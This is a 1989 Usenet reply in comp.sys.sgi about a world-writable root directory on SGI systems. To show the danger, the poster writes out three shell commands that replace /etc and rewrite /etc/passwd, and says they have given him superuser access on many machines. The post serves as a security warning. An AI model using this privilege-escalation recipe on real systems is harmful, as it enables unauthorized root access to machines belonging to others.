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From: mccalpin@loligo.cc.fsu.edu (John McCalpin)
Newsgroups: comp.sys.sgi
Subject: Re: Permissive Permissions
Message-ID: <715@loligo.cc.fsu.edu>
Date: 14 May 89 13:14:22 GMT
References: <8905101550.AA02500@lerc08.nas.nasa.gov> <211@dftsrv.gsfc.nasa.gov>
Reply-To: mccalpin@loligo.cc.fsu.edu (John McCalpin)
Organization: Supercomputer Computations Research Institute
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In article <8905101550.AA02500@lerc08.nas.nasa.gov> fsfacca@LERC08.NAS.NASA.GOV (Tony Facca) writes:
>
>>>     I fail to see what the problem is?  / has world-writable, so what?!
>>> I would be concerned if it didn't.

Try:
	mv /etc /old_etc
	mkdir /etc
	vi /etc/passwd

I have gotten superuser privileges on MANY SGI machines this way....
-- 
John D. McCalpin - Dept of Oceanography - Florida State University
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